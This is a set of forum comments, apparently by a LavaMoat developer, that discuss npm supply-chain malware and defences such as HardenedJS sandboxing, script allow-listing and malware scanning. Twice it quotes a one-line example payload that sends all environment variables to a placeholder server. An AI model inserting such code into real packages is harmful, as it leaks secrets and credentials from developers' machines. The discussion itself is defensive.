- Here's a tool that protects you from these kind of things without the necessity to set up an environment per project, just simple one-time install.
https://github.com/lavamoat/kipuka
It's an upcoming part of the LavaMoat toolkit (that got on main page here recently for blocking the qix malware)
- Again, that's why LavaMoat exists. Set it up once and it will block many classes of attacks regardless of where they come from.
- 1. Control lifecycle scripts with @lavamoat/allow-scripts
2. Do local dev with https://github.com/lavamoat/kipuka installed (I'm working on it)
3. If you don't permit the APIs used for loading DLLs they won't load themselves, so runtime protections are valid too. But I recall the DLLs were loaded in lifecycle script.
- You need to juggle two builds - one while you're iterating rapidly and another when you're near start and finish of the increment. Not a lot of work compared to auditing a thousand packages.
Try it and see. There's tradeoffs but if you roll it out, it is very powerful.
- It's based on HardenedJS.org
The sandbox itself is tight, there's a bug bounty even.
The same technology is behind metamask snaps - plugins in a browser extension.
And Moddable has their own implementation
The biggest problem is endowing too powerful capabilities.
We've got ambitious plans for isolating DOM, but that already failed once before.
- Yup, and thanks - I should have made the comment myself but got distracted.
- Very good summary.
Most other ecosystems are as vulnerable if not more, they just lack the scale.
OP, The malware is coming to the ecosystem you prefer. Give it time.
- - the attack it shipped was not a great fit for the packages compromised. `fetch(myserverurl+JSON.stringify(process.env))` would be a much more profitable payload - naive obfuscation makes lights go red in so many places it'd be better to not obfuscate at all. - the addresses were marked as malicious by Blockaid sooner than the package could reach production in most apps. Most wallets were ready to warn users early enough.
- Vibe coding brings up the need for even more granular isolation. I'm on it ;)
LavaMoat Webpack Plugin will soom have the ability to treat parts of your app same as it currently treats packages - with isolation and policy limiting what they can do.
- Yes, I am. I came up with the first successful attempt at integrating the Principle of Least Authority software in LavaMoat with Webpack and wrote the LavaMoat Webpack Plugin.
Also, together with a bunch of great folks at TC39 we're trying to get enough building blocks for the same-realm isolation primitives into the language.
see hardenedjs.org too
I'm doing the rounds promoting the project today because at this point all we need to eliminate certain types of malware is get LavaMoat a lot more adoption in the ecosystem.
( and that'll give me bug reports and maybe even contributions? :) )
- That's why we never went with using keys in CI for publishing. Local machine publishing requires a 2fa.
automated publishing should use something like Pagerduty to signal that a version is being published to a group of maintainers and it requires an approval to go through. And any one of them can veto within 5 minutes.
But we don't have that, so gotta be careful and prepare for the worst (use LavaMoat for that)
- socket.dev will find most malware within hours of it being published.
with LavaMoat most malware won't work even if you don't detect it.
- It's within the same process and realm (window) It has a cost, but it's nothing compared to putting every dependency of a large app in a separate iframe/process and figure out a way for them to communicate.
- there's only one transaction that's making up most of it. Someone lost some serious 0.1 ETH or so.
500$ is nothing. it's what unsophisticated phishing makes in a day. It's what a support call scammer makes their owner in a day.
This was an attack on legitimate npm packages that end up in maybe hundreds of thousands of developer machines building tens of thousands applications.
`fetch(myserverurl+JSON.stringify(process.env)` would be orders of magnitude more profitable as payload.
- I work with people who understand this stuff :D But if I see a transaction for thousands or millions of a coin I've never heard of with $ value of about 1 it's likely a shitcoin and I am guessing - mockery.
- Absolutely not. you get npm packages by pulling not them pushing them to you as soon as a new version exist. The likelyhood of you updating instantly is close to zero and if not, you should set your stuff up so that it is. Many ways to do that. Even better if compared to a month or two - which is how long it often takes for a researcher to find a carefully planted malware.
Anyway, the case where reactive tools (detections, warnings) don't catch it is why LavaMoat exists. It prevents whole classes of malware from working at runtime. The article (and repo) demonstrates that.
- If you mean during development - you can opt out of using lavamoat in development for your webpack bundle (I'm assuming you're not running your untested code on valuable data)
- packages published to npm are immutable. if you pin a version, you get the same exact version as long as MSFT servers are not compromised.
Installing from git is not recommended and has more issues than you might think https://dev.to/naugtur/a-phish-on-a-fork-no-chips-52cc
You are supposed to update packages, even if you use lockfiles (very common) or tools that pin your direct dependencies (renovate etc. not so common) And when you do update, will you read the package and all of its updated dependencies?
It's a hard problem with a bunch of tradeoffs.
Can be done, with enough attention and tools. Tools include LavaMoat :)
- npm is on life support by msft. But there's socket.dev that can tell you if a package is malicious within hours of it being published.
https://lavamoat.github.io
https://hardenedjs.org